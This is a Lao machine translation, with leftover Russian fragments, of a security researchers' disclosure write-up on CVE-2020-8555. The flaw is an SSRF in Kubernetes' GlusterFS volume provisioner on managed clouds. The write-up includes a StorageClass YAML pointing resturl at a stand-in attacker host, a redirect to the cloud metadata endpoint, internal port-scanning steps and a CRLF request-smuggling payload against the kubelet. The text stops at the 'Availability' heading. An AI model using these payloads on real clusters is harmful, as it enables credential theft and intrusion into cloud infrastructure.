ເມື່ອມັນບໍ່ພຽງແຕ່ກ່ຽວກັບຊ່ອງໂຫວ່ Kubernetes...

ຫມາຍ​ເຫດ​. ແປ.: ຜູ້ຂຽນຂອງບົດຄວາມນີ້ສົນທະນາໃນລາຍລະອຽດກ່ຽວກັບວິທີທີ່ເຂົາເຈົ້າຈັດການເພື່ອຄົ້ນພົບຈຸດອ່ອນ CVE-2020–8555 ໃນ Kubernetes. ເຖິງແມ່ນວ່າໃນເບື້ອງຕົ້ນມັນເບິ່ງຄືວ່າບໍ່ເປັນອັນຕະລາຍຫຼາຍ, ປະສົມປະສານກັບປັດໃຈອື່ນໆ, ຄວາມສໍາຄັນຂອງມັນໄດ້ກາຍເປັນສູງສຸດສໍາລັບຜູ້ໃຫ້ບໍລິການຟັງບາງ. ອົງການຈັດຕັ້ງຈໍານວນຫນຶ່ງໄດ້ໃຫ້ລາງວັນແກ່ຜູ້ຊ່ຽວຊານສໍາລັບວຽກງານຂອງເຂົາເຈົ້າ.

ພວກເຮົາແມ່ນໃຜ

ພວກເຮົາເປັນນັກວິໄຈດ້ານຄວາມປອດໄພຂອງຝຣັ່ງສອງຄົນທີ່ໄດ້ຮ່ວມກັນຄົ້ນພົບຈຸດອ່ອນໃນ Kubernetes. ຊື່ຂອງພວກເຮົາແມ່ນ Brice Augras ແລະ Christophe Hauquiert, ແຕ່ໃນຫຼາຍເວທີ Bug Bounty ພວກເຮົາເປັນທີ່ຮູ້ຈັກເປັນ Reeverzax ແລະ Hach ຕາມລໍາດັບ:

• Brice Augras - ບໍລິສັດ Groupe Asten;
• Christophe Hauquiert - ສະຖາປະນິກ Kubernetes ຢູ່ Nokia.

ເກີດ​ຫຍັງ​ຂຶ້ນ?

ບົດຂຽນນີ້ແມ່ນວິທີການຂອງພວກເຮົາທີ່ຈະແບ່ງປັນວິທີການຄົ້ນຄ້ວາແບບດັ້ງເດີມທີ່ບໍ່ຄາດຄິດໄດ້ຫັນໄປສູ່ການຜະຈົນໄພທີ່ຫນ້າຕື່ນເຕັ້ນທີ່ສຸດໃນຊີວິດຂອງຜູ້ລ່າແມງໄມ້ (ຢ່າງຫນ້ອຍສໍາລັບໃນປັດຈຸບັນ).

ດັ່ງທີ່ເຈົ້າອາດຈະຮູ້, ນັກລ່າແມງໄມ້ມີສອງລັກສະນະທີ່ໂດດເດັ່ນ:

• ພວກເຂົາອາໄສຢູ່ໃນ pizza ແລະເບຍ;
• ພວກເຂົາເຮັດວຽກໃນເວລາທີ່ທຸກຄົນນອນຫລັບ.

ພວກ​ເຮົາ​ບໍ່​ມີ​ຂໍ້​ຍົກ​ເວັ້ນ​ຕໍ່​ກົດ​ລະ​ບຽບ​ເຫຼົ່າ​ນີ້: ປົກ​ກະ​ຕິ​ແລ້ວ​ພວກ​ເຮົາ​ພົບ​ປະ​ໃນ​ທ້າຍ​ອາ​ທິດ​ແລະ​ໃຊ້​ເວ​ລາ​ຄືນ​ທີ່​ນອນ​ບໍ່​ຫລັບ​ການ hacking. ແຕ່ຫນຶ່ງໃນຄືນເຫຼົ່ານີ້ສິ້ນສຸດລົງໃນທາງທີ່ຜິດປົກກະຕິຫຼາຍ.

ໃນ​ເບື້ອງ​ຕົ້ນ​ພວກ​ເຮົາ​ຈະ​ພົບ​ປະ​ເພື່ອ​ປຶກ​ສາ​ຫາ​ລື​ການ​ເຂົ້າ​ຮ່ວມ​ໃນ CTF ມື້​ຕໍ່​ໄປ. ໃນລະຫວ່າງການສົນທະນາກ່ຽວກັບຄວາມປອດໄພ Kubernetes ໃນສະພາບແວດລ້ອມການບໍລິການທີ່ມີການຄຸ້ມຄອງ, ພວກເຮົາຈື່ຈໍາແນວຄວາມຄິດເກົ່າຂອງ SSRF (ການປອມແປງການຮ້ອງຂໍດ້ານເຊີບເວີ) ແລະຕັດສິນໃຈທົດລອງໃຊ້ມັນເປັນຕົວຂຽນການໂຈມຕີ.

ເວລາ 11 ໂມງແລງພວກເຮົານັ່ງລົງເພື່ອເຮັດການຄົ້ນຄວ້າຂອງພວກເຮົາແລະເຂົ້ານອນໃນຕອນເຊົ້າ, ພໍໃຈກັບຜົນໄດ້ຮັບຫຼາຍ. ມັນແມ່ນຍ້ອນການຄົ້ນຄ້ວານີ້ທີ່ພວກເຮົາໄດ້ມາໃນທົ່ວໂຄງການ MSRC Bug Bounty ແລະມາພ້ອມກັບການຂູດຮີດສິດທິພິເສດ.

ຫຼາຍອາທິດ/ເດືອນຜ່ານໄປ, ແລະຜົນທີ່ບໍ່ຄາດຄິດຂອງພວກເຮົາໄດ້ສົ່ງຜົນໃຫ້ໜຶ່ງໃນລາງວັນສູງສຸດໃນປະຫວັດສາດຂອງ Azure Cloud Bug Bounty - ນອກຈາກອັນທີ່ພວກເຮົາໄດ້ຮັບຈາກ Kubernetes!

ອີງຕາມໂຄງການຄົ້ນຄ້ວາຂອງພວກເຮົາ, ຄະນະກໍາມະການຄວາມປອດໄພຜະລິດຕະພັນ Kubernetes ຈັດພີມມາ CVE-2020–8555.

ຕອນນີ້ຂ້ອຍຢາກເຜີຍແຜ່ຂໍ້ມູນກ່ຽວກັບຈຸດອ່ອນທີ່ພົບເຫັນໃຫ້ຫຼາຍເທົ່າທີ່ເປັນໄປໄດ້. ພວກ​ເຮົາ​ຫວັງ​ວ່າ​ທ່ານ​ຈະ​ຊື່ນ​ຊົມ​ກັບ​ການ​ຊອກ​ຫາ​ແລະ​ແບ່ງ​ປັນ​ລາຍ​ລະ​ອຽດ​ດ້ານ​ວິ​ຊາ​ການ​ກັບ​ສະ​ມາ​ຊິກ​ອື່ນໆ​ຂອງ​ຊຸມ​ຊົນ infosec​!

ດັ່ງນັ້ນ, ນີ້ແມ່ນເລື່ອງຂອງພວກເຮົາ ...

ສະພາບການ

ເພື່ອເຮັດໃຫ້ຄວາມຮູ້ສຶກທີ່ສຸດກ່ຽວກັບສິ່ງທີ່ເກີດຂຶ້ນ, ທໍາອິດໃຫ້ພວກເຮົາເບິ່ງວິທີການ Kubernetes ເຮັດວຽກຢູ່ໃນສະພາບແວດລ້ອມທີ່ມີການຄຸ້ມຄອງຄລາວ.

ເມື່ອທ່ານສ້າງກຸ່ມ Kubernetes ທັນທີໃນສະພາບແວດລ້ອມດັ່ງກ່າວ, ຊັ້ນການຈັດການໂດຍທົ່ວໄປແມ່ນຄວາມຮັບຜິດຊອບຂອງຜູ້ໃຫ້ບໍລິການຄລາວ:

ຊັ້ນຄວບຄຸມແມ່ນຕັ້ງຢູ່ບໍລິເວນບໍລິມິເຕີຂອງຜູ້ໃຫ້ບໍລິການຟັງ, ໃນຂະນະທີ່ຂໍ້ Kubernetes ຕັ້ງຢູ່ບໍລິເວນອ້ອມຮອບຂອງລູກຄ້າ.

ເພື່ອຈັດສັນປະລິມານແບບໄດນາມິກ, ກົນໄກແມ່ນໃຊ້ເພື່ອສະໜອງພວກມັນຢ່າງໄດນາມິກຈາກບ່ອນເກັບຂໍ້ມູນພາຍນອກ ແລະ ປຽບທຽບພວກມັນກັບ PVC (ການຮ້ອງຂໍປະລິມານຢ່າງຕໍ່ເນື່ອງ, ເຊັ່ນ: ການຮ້ອງຂໍປະລິມານ).

ດັ່ງນັ້ນ, ຫຼັງຈາກ PVC ຖືກສ້າງຂຶ້ນແລະຜູກມັດກັບ StorageClass ໃນກຸ່ມ K8s, ການປະຕິບັດເພີ່ມເຕີມເພື່ອສະຫນອງປະລິມານໄດ້ຖືກປະຕິບັດໂດຍຜູ້ຈັດການ kube / cloud controller (ຊື່ທີ່ແນ່ນອນແມ່ນຂຶ້ນກັບການປ່ອຍ). (ຫມາຍ​ເຫດ​. ແປ.: ພວກເຮົາໄດ້ຂຽນເພີ່ມເຕີມກ່ຽວກັບ CCM ແລ້ວໂດຍໃຊ້ຕົວຢ່າງຂອງການປະຕິບັດຂອງມັນສໍາລັບຫນຶ່ງໃນຜູ້ໃຫ້ບໍລິການຟັງ ທີ່ນີ້.)

ມີຫຼາຍປະເພດຂອງຜູ້ໃຫ້ບໍລິການທີ່ສະຫນັບສະຫນູນໂດຍ Kubernetes: ສ່ວນໃຫຍ່ຂອງພວກເຂົາແມ່ນລວມຢູ່ໃນ ຫຼັກ orchestrator, ໃນຂະນະທີ່ຄົນອື່ນຖືກຄຸ້ມຄອງໂດຍຜູ້ສະຫນອງເພີ່ມເຕີມທີ່ວາງໄວ້ໃນຝັກໃນກຸ່ມ.

ໃນການຄົ້ນຄວ້າຂອງພວກເຮົາ, ພວກເຮົາໄດ້ສຸມໃສ່ກົນໄກການສະຫນອງປະລິມານພາຍໃນ, ເຊິ່ງໄດ້ສະແດງໃຫ້ເຫັນຂ້າງລຸ່ມນີ້:

ການຈັດຫາປະລິມານແບບໄດນາມິກໂດຍໃຊ້ຕົວສະໜອງ Kubernetes ໃນຕົວ

ໃນສັ້ນ, ເມື່ອ Kubernetes ຖືກນໍາໄປໃຊ້ໃນສະພາບແວດລ້ອມທີ່ມີການຄຸ້ມຄອງ, ຜູ້ຈັດການຄວບຄຸມແມ່ນຄວາມຮັບຜິດຊອບຂອງຜູ້ໃຫ້ບໍລິການຟັງ, ແຕ່ຄໍາຮ້ອງຂໍການສ້າງປະລິມານ (ຕົວເລກ 3 ໃນແຜນວາດຂ້າງເທິງ) ອອກຈາກເຄືອຂ່າຍພາຍໃນຂອງຜູ້ໃຫ້ບໍລິການຟັງ. ແລະນີ້ແມ່ນບ່ອນທີ່ສິ່ງທີ່ຫນ້າສົນໃຈຫຼາຍ!

ສະຖານະການ hacking

ໃນພາກນີ້, ພວກເຮົາຈະອະທິບາຍວິທີທີ່ພວກເຮົາໄດ້ໃຊ້ປະໂຫຍດຈາກຂະບວນການເຮັດວຽກທີ່ໄດ້ກ່າວມາຂ້າງເທິງແລະເຂົ້າເຖິງຊັບພະຍາກອນພາຍໃນຂອງຜູ້ໃຫ້ບໍລິການຟັງ. ມັນຍັງຈະສະແດງໃຫ້ທ່ານເຫັນວິທີທີ່ທ່ານສາມາດປະຕິບັດການດໍາເນີນການບາງຢ່າງເຊັ່ນ: ການໄດ້ຮັບຂໍ້ມູນປະຈໍາຕົວພາຍໃນຫຼືການເພີ່ມສິດທິພິເສດ.

ການຫມູນໃຊ້ແບບງ່າຍໆອັນໜຶ່ງ (ໃນກໍລະນີນີ້, Service Side Request Forgery) ໄດ້ຊ່ວຍຂ້າມສະພາບແວດລ້ອມຂອງລູກຄ້າເຂົ້າໄປໃນກຸ່ມຂອງຜູ້ໃຫ້ບໍລິການຕ່າງໆພາຍໃຕ້ການຄຸ້ມຄອງ K8s.

ໃນການຄົ້ນຄວ້າຂອງພວກເຮົາພວກເຮົາໄດ້ສຸມໃສ່ການສະຫນອງ GlusterFS. ເຖິງວ່າຈະມີຄວາມຈິງທີ່ວ່າລໍາດັບການປະຕິບັດເພີ່ມເຕີມໄດ້ຖືກອະທິບາຍໃນສະພາບການນີ້, Quobyte, StorageOS ແລະ ScaleIO ມີຄວາມອ່ອນໄຫວຕໍ່ກັບຄວາມອ່ອນແອດຽວກັນ.

ການລະເມີດກົນໄກການສະຫນອງປະລິມານແບບເຄື່ອນໄຫວ

ໃນລະຫວ່າງການວິເຄາະຊັ້ນເກັບຮັກສາ GlusterFS ໃນລະຫັດແຫຼ່ງລູກຄ້າ Golang ພວກເຮົາ ສັງເກດເຫັນວ່າຢູ່ໃນຄໍາຮ້ອງຂໍ HTTP ທໍາອິດ (3) ທີ່ສົ່ງໃນລະຫວ່າງການສ້າງປະລິມານ, ໃນຕອນທ້າຍຂອງ URL ທີ່ກໍາຫນົດເອງໃນພາລາມິເຕີ resturl ແມ່ນເພີ່ມ /volumes.

ພວກເຮົາໄດ້ຕັດສິນໃຈທີ່ຈະກໍາຈັດເສັ້ນທາງເພີ່ມເຕີມນີ້ໂດຍການເພີ່ມ # ໃນພາລາມິເຕີ resturl. ນີ້ແມ່ນການຕັ້ງຄ່າ YAML ທໍາອິດທີ່ພວກເຮົາໃຊ້ເພື່ອທົດສອບຄວາມອ່ອນແອຂອງ SSRF ເຄິ່ງຕາບອດ. (ທ່ານສາມາດອ່ານເພີ່ມເຕີມກ່ຽວກັບ SSRF ເຄິ່ງຕາບອດຫຼືເຄິ່ງຫນຶ່ງຕາບອດ, ສໍາລັບການຍົກຕົວຢ່າງ, ທີ່ນີ້ — ປະ​ມານ​. ແປ.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

ຫຼັງຈາກນັ້ນ, ພວກເຮົາໃຊ້ binary ເພື່ອຈັດການກຸ່ມ Kubernetes ຈາກໄລຍະໄກ kubectl. ໂດຍປົກກະຕິ, ຜູ້ໃຫ້ບໍລິການຟັງ (Azure, Google, AWS, ແລະອື່ນໆ) ອະນຸຍາດໃຫ້ທ່ານໄດ້ຮັບຂໍ້ມູນປະຈໍາຕົວສໍາລັບການນໍາໃຊ້ປະໂຫຍດນີ້.

ຂໍຂອບໃຈກັບສິ່ງນີ້, ຂ້ອຍສາມາດໃຊ້ໄຟລ໌ "ພິເສດ" ຂອງຂ້ອຍ. Kube-controller-manager ປະຕິບັດການຮ້ອງຂໍ HTTP ທີ່ໄດ້ຮັບຜົນ:

kubectl create -f sc-poc.yaml

ຄໍາຕອບຈາກທັດສະນະຂອງຜູ້ໂຈມຕີ

ຫຼັງຈາກນັ້ນບໍ່ດົນ, ພວກເຮົາຍັງສາມາດໄດ້ຮັບການຕອບສະຫນອງ HTTP ຈາກເຄື່ອງແມ່ຂ່າຍເປົ້າຫມາຍ - ຜ່ານຄໍາສັ່ງ describe pvc ຫຼື get events ໃນ kubectl. ແລະແທ້ຈິງແລ້ວ: ໄດເວີ Kubernetes ເລີ່ມຕົ້ນນີ້ແມ່ນເວົ້າເກີນໄປໃນການເຕືອນໄພ / ຂໍ້ຄວາມສະແດງຂໍ້ຜິດພາດຂອງມັນ ...

ນີ້ແມ່ນຕົວຢ່າງທີ່ມີການເຊື່ອມຕໍ່ກັບ https://www.google.frຕັ້ງເປັນພາລາມິເຕີ resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

ໃນວິທີການນີ້, ພວກເຮົາຖືກຈໍາກັດພຽງແຕ່ຄໍາຖາມເຊັ່ນ HTTP POST ແລະບໍ່ສາມາດໄດ້ຮັບເນື້ອໃນຂອງຮ່າງກາຍຕອບສະຫນອງຖ້າຫາກວ່າລະຫັດກັບຄືນແມ່ນ 201. ດັ່ງນັ້ນ, ພວກເຮົາຕັດສິນໃຈດໍາເນີນການຄົ້ນຄ້ວາເພີ່ມເຕີມແລະຂະຫຍາຍສະຖານະການການ hack ນີ້ດ້ວຍວິທີການໃຫມ່.

ວິວັດທະນາການຂອງການຄົ້ນຄວ້າຂອງພວກເຮົາ

• ສະຖານະການຂັ້ນສູງ #1: ການນໍາໃຊ້ການປ່ຽນເສັ້ນທາງ 302 ຈາກເຄື່ອງແມ່ຂ່າຍພາຍນອກເພື່ອປ່ຽນວິທີການ HTTP ເພື່ອໃຫ້ມີວິທີການທີ່ມີຄວາມຍືດຫຍຸ່ນຫຼາຍໃນການເກັບກໍາຂໍ້ມູນພາຍໃນ.
• ສະຖານະການຂັ້ນສູງ #2: ອັດຕະໂນມັດການສະແກນ LAN ແລະການຄົ້ນພົບຊັບພະຍາກອນພາຍໃນ.
• ສະຖານະການຂັ້ນສູງ #3: ການໃຊ້ HTTP CRLF + smuggling (“ຮ້ອງຂໍການລັກລອບ”) ເພື່ອສ້າງການຮ້ອງຂໍ HTTP ທີ່ປັບແຕ່ງແລ້ວເອົາຂໍ້ມູນທີ່ສະກັດຈາກບັນທຶກ kube-controller.

ຂໍ້ມູນຈໍາເພາະ

• ການຄົ້ນຄວ້າໄດ້ນໍາໃຊ້ Azure Kubernetes Service (AKS) ກັບ Kubernetes ຮຸ່ນ 1.12 ໃນພາກພື້ນເອີຣົບເຫນືອ.
• ສະຖານະການທີ່ອະທິບາຍຂ້າງເທິງນີ້ໄດ້ຖືກປະຕິບັດໃນການປ່ອຍຫລ້າສຸດຂອງ Kubernetes, ຍົກເວັ້ນສະຖານະການທີສາມ, ເພາະວ່າ ລາວຕ້ອງການ Kubernetes ສ້າງຂຶ້ນດ້ວຍ Golang ຮຸ່ນ ≤ 1.12.
• ເຊີບເວີພາຍນອກຂອງຜູ້ໂຈມຕີ - https://attacker.com.

ສະຖານະການຂັ້ນສູງ #1: ການປ່ຽນເສັ້ນທາງການຮ້ອງຂໍ HTTP POST ໄປຫາ GET ແລະຮັບຂໍ້ມູນທີ່ລະອຽດອ່ອນ

ວິທີການຕົ້ນສະບັບໄດ້ຖືກປັບປຸງໂດຍການຕັ້ງຄ່າຂອງເຄື່ອງແມ່ຂ່າຍຂອງຜູ້ໂຈມຕີທີ່ຈະກັບຄືນມາ 302 HTTP Retcodeເພື່ອປ່ຽນຄໍາຮ້ອງຂໍ POST ເປັນການຮ້ອງຂໍ GET (ຂັ້ນຕອນ 4 ໃນແຜນວາດ):

ຄໍາຮ້ອງຂໍທໍາອິດ (3) ມາຈາກລູກຄ້າ GlusterFS (ຜູ້ຈັດການຄວບຄຸມ), ມີປະເພດ POST. ໂດຍປະຕິບັດຕາມຂັ້ນຕອນເຫຼົ່ານີ້, ພວກເຮົາສາມາດປ່ຽນມັນເຂົ້າໄປໃນ GET:

• ເປັນພາລາມິເຕີ resturl ໃນ StorageClass ມັນໄດ້ຖືກຊີ້ບອກ http://attacker.com/redirect.php.
• Endpoint https://attacker.com/redirect.php ຕອບສະໜອງດ້ວຍລະຫັດສະຖານະ HTTP 302 ທີ່ມີສ່ວນຫົວສະຖານທີ່ຕໍ່ໄປນີ້: http://169.254.169.254. ນີ້ສາມາດເປັນຊັບພະຍາກອນພາຍໃນອື່ນໆ - ໃນກໍລະນີນີ້, ການເຊື່ອມຕໍ່ການປ່ຽນເສັ້ນທາງຖືກນໍາໃຊ້ພຽງແຕ່ເປັນຕົວຢ່າງ.
• ຕັ້ງແຕ່ຕອນຕົ້ນ net/http ຫໍສະຫມຸດ Golang ປ່ຽນເສັ້ນທາງການຮ້ອງຂໍແລະປ່ຽນ POST ເປັນ GET ດ້ວຍລະຫັດສະຖານະ 302, ສົ່ງຜົນໃຫ້ຄໍາຮ້ອງຂໍ HTTP GET ໄປຫາຊັບພະຍາກອນເປົ້າຫມາຍ.

ເພື່ອອ່ານຮ່າງກາຍຕອບສະຫນອງ HTTP ທ່ານຕ້ອງເຮັດ describe ວັດຖຸ PVC:

kubectl describe pvc xxx

ນີ້ແມ່ນຕົວຢ່າງຂອງການຕອບ HTTP ໃນຮູບແບບ JSON ທີ່ພວກເຮົາສາມາດໄດ້ຮັບ:

ຄວາມສາມາດຂອງຊ່ອງໂຫວ່ທີ່ພົບເຫັນໃນເວລານັ້ນແມ່ນຈໍາກັດເນື່ອງຈາກຈຸດດັ່ງຕໍ່ໄປນີ້:

• ບໍ່ສາມາດໃສ່ສ່ວນຫົວ HTTP ເຂົ້າໃນການຮ້ອງຂໍທີ່ອອກມາ.
• ຄວາມບໍ່ສາມາດປະຕິບັດການຮ້ອງຂໍ POST ທີ່ມີພາລາມິເຕີຢູ່ໃນຮ່າງກາຍ (ອັນນີ້ແມ່ນສະດວກໃນການຮ້ອງຂໍຄ່າທີ່ສໍາຄັນຈາກຕົວຢ່າງ etcd ທີ່ເຮັດວຽກຢູ່ໃນ. 2379 ພອດຖ້າບໍ່ເຂົ້າລະຫັດ HTTP ຖືກໃຊ້).
• ບໍ່ສາມາດດຶງຂໍ້ມູນເນື້ອໃນການຕອບສະໜອງເມື່ອລະຫັດສະຖານະແມ່ນ 200 ແລະການຕອບສະໜອງບໍ່ມີ JSON Content-Type.

ສະຖານະການຂັ້ນສູງ #2: ສະແກນເຄືອຂ່າຍທ້ອງຖິ່ນ

ວິທີການ SSRF ເຄິ່ງຕາບອດນີ້ໄດ້ຖືກໃຊ້ເພື່ອສະແກນເຄືອຂ່າຍພາຍໃນຂອງຜູ້ໃຫ້ບໍລິການຟັງແລະການສໍາຫຼວດການບໍລິການຟັງຕ່າງໆ (ຕົວຢ່າງ Metadata, Kubelet, ແລະອື່ນໆ) ໂດຍອີງໃສ່ຄໍາຕອບ. ຕົວຄວບຄຸມ kube.

ທໍາອິດ, ພອດຟັງມາດຕະຖານຂອງອົງປະກອບ Kubernetes ໄດ້ຖືກກໍານົດ (8443, 10250, 10251, ແລະອື່ນໆ), ແລະຫຼັງຈາກນັ້ນພວກເຮົາຕ້ອງອັດຕະໂນມັດຂະບວນການສະແກນ.

ເຫັນວ່າວິທີການສະແກນຊັບພະຍາກອນນີ້ແມ່ນສະເພາະຫຼາຍແລະບໍ່ເຫມາະສົມກັບເຄື່ອງສະແກນຄລາສສິກແລະເຄື່ອງມື SSRF, ພວກເຮົາໄດ້ຕັດສິນໃຈສ້າງພະນັກງານຂອງພວກເຮົາເອງໃນ bash script ທີ່ອັດຕະໂນມັດຂະບວນການທັງຫມົດ.

ຕົວຢ່າງ, ເພື່ອສະແກນຂອບເຂດ 172.16.0.0/12 ຂອງເຄືອຂ່າຍພາຍໃນຢ່າງໄວວາ, ພະນັກງານ 15 ຄົນໄດ້ຖືກເປີດຕົວໃນຂະຫນານ. ຊ່ວງ IP ຂ້າງເທິງນີ້ໄດ້ຖືກເລືອກເປັນຕົວຢ່າງເທົ່ານັ້ນ ແລະອາດຈະມີການປ່ຽນແປງຕໍ່ກັບຊ່ວງ IP ຂອງຜູ້ໃຫ້ບໍລິການສະເພາະຂອງທ່ານ.

ເພື່ອສະແກນຫນຶ່ງທີ່ຢູ່ IP ແລະຫນຶ່ງພອດ, ທ່ານຈໍາເປັນຕ້ອງເຮັດດັ່ງຕໍ່ໄປນີ້:

• ລຶບ StorageClass ທີ່ກວດສອບຫຼ້າສຸດ;
• ເອົາການອ້າງສິດປະລິມານຄົງທີ່ທີ່ຢືນຢັນຜ່ານມາ;
• ປ່ຽນຄ່າ IP ແລະ Port ໃນ sc.yaml;
• ສ້າງ StorageClass ທີ່ມີ IP ແລະພອດໃຫມ່;
• ສ້າງ PVC ໃຫມ່;
• ສະກັດຜົນໄດ້ຮັບການສະແກນໂດຍໃຊ້ຄໍາອະທິບາຍສໍາລັບ PVC.

ສະຖານະການຂັ້ນສູງ #3: ການສີດ CRLF + ການລັກລອບ HTTP ໃນ "ເກົ່າ" ຂອງກຸ່ມ Kubernetes

ຖ້ານອກເໜືອໄປຈາກນີ້ ຜູ້ໃຫ້ບໍລິການໄດ້ສະເໜີໃຫ້ລູກຄ້າລຸ້ນເກົ່າຂອງກຸ່ມ K8s и ໃຫ້ພວກເຂົາເຂົ້າເຖິງບັນທຶກຂອງ kube-controller-manager, ຜົນກະທົບໄດ້ກາຍເປັນຄວາມສໍາຄັນຫຼາຍຂຶ້ນ.

ມັນສະດວກກວ່າຫຼາຍສໍາລັບຜູ້ໂຈມຕີທີ່ຈະປ່ຽນຄໍາຮ້ອງຂໍ HTTP ທີ່ຖືກອອກແບບມາເພື່ອໃຫ້ໄດ້ຄໍາຕອບ HTTP ຢ່າງເຕັມທີ່ຕາມການຕັດສິນໃຈຂອງລາວ.

ເພື່ອປະຕິບັດສະຖານະການສຸດທ້າຍ, ຕ້ອງມີເງື່ອນໄຂດັ່ງຕໍ່ໄປນີ້:

• ຜູ້ໃຊ້ຕ້ອງມີການເຂົ້າເຖິງບັນທຶກ kube-controller-manager (ເຊັ່ນ: ໃນ Azure LogInsights).
• ກຸ່ມ Kubernetes ຈະຕ້ອງໃຊ້ Golang ເວີຊັນທີ່ຕໍ່າກວ່າ 1.12.

ພວກເຮົາໄດ້ນຳໃຊ້ສະພາບແວດລ້ອມທ້ອງຖິ່ນທີ່ຈຳລອງການສື່ສານລະຫວ່າງລູກຄ້າ GlusterFS Go ແລະເຊີບເວີເປົ້າໝາຍປອມ (ພວກເຮົາຈະຫຼີກລ່ຽງການເຜີຍແຜ່ PoC ໃນຕອນນີ້).

ໄດ້​ພົບ​ເຫັນ ຄວາມອ່ອນແອ, ຜົນກະທົບຕໍ່ Golang ຮຸ່ນຕ່ໍາກວ່າ 1.12 ແລະອະນຸຍາດໃຫ້ແຮກເກີປະຕິບັດການໂຈມຕີ HTTP smuggling / CRLF.

ໂດຍການລວມເອົາ SSRF ເຄິ່ງຕາບອດທີ່ໄດ້ອະທິບາຍຂ້າງເທິງ вместе ດ້ວຍສິ່ງນີ້, ພວກເຮົາສາມາດສົ່ງຄໍາຮ້ອງຂໍໃຫ້ກັບຄວາມມັກຂອງພວກເຮົາ, ລວມທັງການປ່ຽນສ່ວນຫົວ, ວິທີການ HTTP, ພາລາມິເຕີແລະຂໍ້ມູນ, ເຊິ່ງ kube-controller-manager ປຸງແຕ່ງຫຼັງຈາກນັ້ນ.

ນີ້ແມ່ນຕົວຢ່າງຂອງ "bait" ທີ່ເຮັດວຽກຢູ່ໃນຕົວກໍານົດການ resturl StorageClass, ເຊິ່ງປະຕິບັດສະຖານະການການໂຈມຕີທີ່ຄ້າຍຄືກັນ:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ຜົນໄດ້ຮັບແມ່ນຄວາມຜິດພາດ ການ​ຕອບ​ສະ​ຫນອງ​ທີ່​ບໍ່​ຕ້ອງ​ການ​, ຂໍ້ຄວາມທີ່ບັນທຶກໄວ້ໃນບັນທຶກຂອງຕົວຄວບຄຸມ. ຂໍຂອບໃຈກັບ verbosity ເປີດໃຊ້ໂດຍຄ່າເລີ່ມຕົ້ນ, ເນື້ອໃນຂອງຂໍ້ຄວາມຕອບສະຫນອງ HTTP ຍັງຖືກບັນທຶກໄວ້ຢູ່ທີ່ນັ້ນ.

ນີ້ແມ່ນ "bait" ທີ່ມີປະສິດທິພາບທີ່ສຸດຂອງພວກເຮົາໃນກອບຂອງຫຼັກຖານສະແດງແນວຄວາມຄິດ.

ການນໍາໃຊ້ວິທີການນີ້, ພວກເຮົາສາມາດປະຕິບັດການໂຈມຕີຕໍ່ໄປນີ້ບາງກຸ່ມຂອງຜູ້ໃຫ້ບໍລິການ k8s ທີ່ມີການຈັດການຕ່າງໆ: ການຂະຫຍາຍສິດທິພິເສດກັບຂໍ້ມູນປະຈໍາຕົວກ່ຽວກັບ metadata, Master DoS ຜ່ານ (unencrypted) HTTP requests on etcd master instances, ແລະອື່ນໆ.

ຜົນກະທົບ

ໃນຄໍາຖະແຫຼງທີ່ເປັນທາງການ Kubernetes ກ່ຽວກັບຈຸດອ່ອນຂອງ SSRF ທີ່ພວກເຮົາຄົ້ນພົບ, ມັນຖືກຈັດອັນດັບ CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. ຖ້າພວກເຮົາພິຈາລະນາພຽງແຕ່ຄວາມອ່ອນແອທີ່ກ່ຽວຂ້ອງກັບຂອບເຂດ Kubernetes, vector ຄວາມສົມບູນ (ຄວາມສົມບູນ vector) ມັນ​ມີ​ຄຸນ​ສົມ​ບັດ​ເປັນ​ ບໍ່ມີ.

ຢ່າງໃດກໍ່ຕາມ, ການປະເມີນຜົນສະທ້ອນທີ່ເປັນໄປໄດ້ໃນສະພາບແວດລ້ອມການບໍລິການທີ່ມີການຄຸ້ມຄອງ (ແລະນີ້ແມ່ນສ່ວນທີ່ຫນ້າສົນໃຈທີ່ສຸດຂອງການຄົ້ນຄວ້າຂອງພວກເຮົາ!) ໄດ້ກະຕຸ້ນໃຫ້ພວກເຮົາຈັດປະເພດຄວາມອ່ອນແອໃຫມ່ເຂົ້າໄປໃນການຈັດອັນດັບ. CVSS10/10 ສຳຄັນ ສໍາລັບຜູ້ຈັດຈໍາຫນ່າຍຈໍານວນຫຼາຍ.

ຂ້າງລຸ່ມນີ້ແມ່ນຂໍ້ມູນເພີ່ມເຕີມເພື່ອຊ່ວຍໃຫ້ທ່ານເຂົ້າໃຈການພິຈາລະນາຂອງພວກເຮົາເມື່ອປະເມີນຜົນກະທົບທີ່ອາດເກີດຂຶ້ນໃນສະພາບແວດລ້ອມຄລາວ:

ຄວາມຊື່ສັດ

• ປະຕິບັດຄໍາສັ່ງຈາກໄລຍະໄກໂດຍໃຊ້ຂໍ້ມູນປະຈໍາຕົວພາຍໃນທີ່ໄດ້ມາ.
• ການຜະລິດສະຖານະການຂ້າງເທິງນີ້ໂດຍໃຊ້ວິທີການ IDOR (Insecure Direct Object Reference) ກັບຊັບພະຍາກອນອື່ນໆທີ່ພົບເຫັນຢູ່ໃນເຄືອຂ່າຍທ້ອງຖິ່ນ.

ຄວາມລັບ

• ປະເພດການໂຈມຕີ ການເຄື່ອນໄຫວຂ້າງຕົວຂອງໂຕ ຂໍຂອບໃຈກັບການລັກຂໍ້ມູນຂອງຄລາວ (ຕົວຢ່າງ, metadata API).
• ການລວບລວມຂໍ້ມູນໂດຍການສະແກນເຄືອຂ່າຍທ້ອງຖິ່ນ (ການກໍານົດສະບັບ SSH, HTTP server version, ... ).
• ເກັບກຳຂໍ້ມູນຕົວຢ່າງ ແລະໂຄງສ້າງພື້ນຖານໂດຍການສຳຫຼວດ API ພາຍໃນເຊັ່ນ metadata API (http://169.254.169.254, ... ).
• ການລັກຂໍ້ມູນລູກຄ້າໂດຍໃຊ້ຂໍ້ມູນປະຈໍາຕົວຂອງຄລາວ.

Availability

